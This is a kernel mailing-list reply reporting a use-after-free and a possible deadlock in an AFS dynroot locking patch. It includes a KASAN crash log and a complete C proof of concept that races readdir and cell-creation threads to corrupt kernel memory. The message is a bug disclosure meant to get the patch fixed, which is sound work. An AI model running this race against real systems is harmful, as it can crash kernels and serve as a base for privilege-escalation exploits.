Re: [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino

From: XIAO WU

Date: Mon Jun 22 2026 - 16:30:18 EST


Hi David,

I came across the Sashiko AI review [1] of this series and was able to
reproduce a use-after-free in the AFS dynroot readdir path that this
patch touches.  I wanted to share the concrete evidence and a PoC.

The patch adds a spinlock (cells_dyn_ino_lock) around modifications to
net->cells_dyn_ino, but leaves two issues:

1. **Read-side still missing RCU protection**: afs_dynroot_readdir_cells()
   calls idr_get_next(&net->cells_dyn_ino, ...) without rcu_read_lock().
   Since the patch moves idr_remove() inside the RCU callback (afs_cell_destroy),
   the IDR's internal radix tree nodes can be freed while idr_get_next()
   is traversing them.  dir_emit() sleeps, allowing the grace period to
   pass, and the reader returns to freed memory.

2. **Potential deadlock**: afs_alloc_cell() uses spin_lock() (without
   disabling softirqs), but afs_cell_destroy() runs in RCU_SOFTIRQ
   context via call_rcu() and acquires the same lock.  If a softirq
   interrupts process context while the lock is held, the RCU callback
   could spin-wait on the same CPU.

[Reproduction]

The PoC mounts an AFS dynroot filesystem, pre-populates 50 cells, then
runs 4 threads:

  - 2 readdir threads: continuously opendir/readdir the dynroot,
    exercising idr_get_next() without rcu_read_lock()
  - 1 creator thread: adds new cells via /proc/fs/afs/cells,
    exercising idr_alloc_cyclic() with spin_lock()
  - 1 accessor thread: opens/closes cell directories, triggering
    cell lookup/unuse → call_rcu → afs_cell_destroy → idr_remove()

The UAF triggers deterministically within 10 seconds on a patched
kernel with CONFIG_KASAN=y.

[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]

  BUG: KASAN: slab-use-after-free in afs_dynroot_readdir+0xa26/0xb70
  Read of size 4 at addr ffff888114df2958 by task poc/11248

  Call Trace:
   <TASK>
   dump_stack_lvl
   print_report
   kasan_report
   afs_dynroot_readdir+0xa26/0xb70
   (reading cell->state or cell->dynroot_ino from a freed cell)
   ...

The PoC is attached.  It compiles with:

  gcc -o poc poc.c -static -lpthread

[1] https://sashiko.dev/#/patchset/20260618155141.2513212-1-dhowells%40redhat.com
    (Sashiko AI code review — "Use-After-Free", Severity: High)

Thanks,
XIAOWU

// SPDX-License-Identifier: GPL-2.0-only
/*
 * PoC for use-after-free in AFS dynroot readdir due to idr_remove()
 * being called inside RCU callback while afs_dynroot_readdir_cells()
 * calls idr_get_next() without rcu_read_lock().
 *
 * Bug: Patch 18/20 added spin_lock(&net->cells_dyn_ino_lock) around
 * idr_alloc_cyclic() in afs_alloc_cell() (process context) and around
 * idr_remove() in afs_cell_destroy() (RCU callback context). The
 * idr_remove() now happens inside the RCU callback, and the IDR
 * internal radix tree nodes are freed after call_rcu(). Meanwhile,
 * afs_dynroot_readdir_cells() calls idr_get_next() without
 * rcu_read_lock(), so a concurrent idr_remove() freeing internal
 * nodes creates a use-after-free.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <pthread.h>
#include <dirent.h>
#include <signal.h>

#define MNT_PATH "/tmp/afsroot"
#define PROC_CELLS "/proc/fs/afs/cells"
#define MAX_THREADS 4

/* Cell names - must be printable, no '/' or '@', not starting with '.' */
#define NUM_CELL_NAMES 50
static char cell_names[NUM_CELL_NAMES][32];
static volatile int stop_flag = 0;
static pthread_t threads[MAX_THREADS];

static void die(const char *msg)
{
    perror(msg);
    exit(1);
}

static void add_cell(const char *name)
{
    char buf[256];
    int len = snprintf(buf, sizeof(buf), "add %s", name);
    int fd = open(PROC_CELLS, O_WRONLY);
    if (fd < 0)
        return;
    /* Ignore errors (cell may already exist) */
    (void)write(fd, buf, len);
    close(fd);
}

/* Thread that creates new cells, which calls afs_alloc_cell ->
 * idr_alloc_cyclic, holding cells_dyn_ino_lock via spin_lock().
 * The lock does not disable softirqs, so an RCU callback could
 * run on this CPU while the lock is held. */
static void *creator_thread(void *arg)
{
    int idx = (long)arg;
    char name[64];
    int i;

    for (i = 0; i < 10000 && !stop_flag; i++) {
        int ci = (i + idx * 1000) % NUM_CELL_NAMES;
        snprintf(name, sizeof(name), "%s_p%d", cell_names[ci], idx);
        add_cell(name);
        if (i % 100 == 0)
            usleep(10);
    }
    return NULL;
}

/* Thread that reads the dynroot directory in a tight loop.
 * This calls afs_dynroot_readdir -> afs_dynroot_readdir_cells
 * -> idr_get_next() WITHOUT rcu_read_lock(). */
static void *readdir_thread(void *arg)
{
    int i;

    for (i = 0; i < 100000 && !stop_flag; i++) {
        DIR *dir = opendir(MNT_PATH);
        if (!dir) {
            usleep(100);
            continue;
        }

        /* Read ALL directory entries. For each entry, idr_get_next
         * traverses the radix tree's internal nodes (which are RCU
         * protected). Since we DON'T hold rcu_read_lock(), and a
         * concurrent idr_remove (in RCU callback) can free radix
         * tree nodes, this is a use-after-free.
         */
        struct dirent *entry;
        while ((entry = readdir(dir)) != NULL) {
            /* Touch the entry data to force memory access */
            __asm__ volatile("" : : "r"(entry->d_type), "r"(entry->d_name[0]));
        }

        closedir(dir);
    }
    return NULL;
}

/* Thread that opens cell directories, triggering refcounting
 * that eventually leads to cell destruction via afs_unuse_cell
 * -> afs_manage_cell -> call_rcu -> afs_cell_destroy. */
static void *accessor_thread(void *arg)
{
    char path[256];
    int i;

    for (i = 0; i < 50000 && !stop_flag; i++) {
        int ci = i % NUM_CELL_NAMES;
        snprintf(path, sizeof(path), "%s/%s", MNT_PATH, cell_names[ci]);

        /* Opening triggers lookup, which creates a new cell if needed.
         * Closing triggers unuse, which eventually may free the cell.
         */
        int fd = open(path, O_RDONLY | O_DIRECTORY);
        if (fd >= 0) {
            /* Just accessing the directory entry - this takes a ref */
            struct stat st;
            if (fstat(fd, &st) == 0) {
                __asm__ volatile("" : : "r"(st.st_ino));
            }
            close(fd);
            /* After close, cell may get freed */
        }

        if (i % 20 == 0)
            sched_yield();
    }
    return NULL;
}

int main(int argc, char **argv)
{
    int i, ret, status;
    pid_t pid;

    /* Use subprocess to isolate effects */
    pid = fork();
    if (pid < 0)
        die("fork");

    if (pid == 0) {
        /* Child - run the PoC */

        printf("AFS dynroot use-after-free PoC\n");
        printf("===============================\n\n");

        /* Initialize cell names */
        for (i = 0; i < NUM_CELL_NAMES; i++) {
            snprintf(cell_names[i], sizeof(cell_names[i]), "cell%d", i);
        }

        /* Create mount point */
        mkdir(MNT_PATH, 0755);

        /* Load module if needed */
        system("modprobe kafs 2>/dev/null");
        usleep(50000);

        /* Mount AFS dynroot */
        printf("[*] Mounting AFS dynroot at %s...\n", MNT_PATH);
        if (mount("none", MNT_PATH, "afs", 0, "dyn") < 0) {
            fprintf(stderr, "[!] mount failed: %s\n", strerror(errno));
            _exit(1);
        }
        printf("[+] Mounted successfully\n");

        usleep(100000);

        /* Pre-create cells to populate the IDR radix tree */
        printf("[*] Pre-populating %d cells...\n", NUM_CELL_NAMES);
        for (i = 0; i < NUM_CELL_NAMES; i++) {
            add_cell(cell_names[i]);
            if (i % 10 == 0)
                usleep(1000);
        }
        printf("[+] Cells created\n");

        /* Verify we can read them */
        {
            DIR *dir = opendir(MNT_PATH);
            if (dir) {
                int cnt = 0;
                struct dirent *e;
                while ((e = readdir(dir))) cnt++;
                closedir(dir);
                printf("[+] Dynroot has %d entries\n", cnt);
            }
        }

        printf("[*] Starting race threads...\n");

        /* Start 2 readdir threads */
        for (i = 0; i < 2; i++) {
            ret = pthread_create(&threads[i], NULL, readdir_thread,
                                 (void *)(long)i);
            if (ret) fprintf(stderr, "readdir thread %d: %s\n", i, strerror(ret));
        }

        /* Start 1 creator thread */
        ret = pthread_create(&threads[2], NULL, creator_thread,
                             (void *)(long)1);
        if (ret) fprintf(stderr, "creator thread: %s\n", strerror(ret));

        /* Start 1 accessor thread */
        ret = pthread_create(&threads[3], NULL, accessor_thread,
                             (void *)(long)1);
        if (ret) fprintf(stderr, "accessor thread: %s\n", strerror(ret));

        /* Run for 10 seconds */
        sleep(10);

        /* Signal stop */
        stop_flag = 1;

        /* Wait for threads */
        for (i = 0; i < 4; i++) {
            pthread_join(threads[i], NULL);
        }

        printf("[*] All threads stopped\n");
        printf("[*] Checking dmesg for crash evidence...\n");

        /* Collect dmesg output */
        FILE *dmesg = popen("dmesg -c 2>/dev/null || dmesg | tail -100", "r");
        if (dmesg) {
            char buf[512];
            int found = 0;
            while (fgets(buf, sizeof(buf), dmesg)) {
                if (strstr(buf, "KASAN") || strstr(buf, "BUG:") ||
                    strstr(buf, "Oops") || strstr(buf, "Unable to handle") ||
                    strstr(buf, "general protection") ||
                    strstr(buf, "rcu_callback") ||
                    strstr(buf, "call_rcu") ||
                    strstr(buf, "idr_remove") ||
                    strstr(buf, "afs_cell_destroy")) {
                    printf("%s", buf);
                    found = 1;
                }
            }
            if (!found)
                printf("[*] No crash evidence in dmesg\n");
            pclose(dmesg);
        }

        /* Clean up */
        umount2(MNT_PATH, MNT_FORCE);
        rmdir(MNT_PATH);

        printf("\n[*] PoC complete\n");
        _exit(0);
    }

    /* Parent - wait for child */
    waitpid(pid, &status, 0);

    if (WIFSIGNALED(status)) {
        int sig = WTERMSIG(status);
        printf("\n[!] Child killed by signal %d (%s)\n", sig, strsignal(sig));
        printf("[!] This confirms the bug triggered!\n");
        return 1;
    }

    printf("\n[*] Child exited normally (status %d)\n",
           WEXITSTATUS(status));
    return 0;
}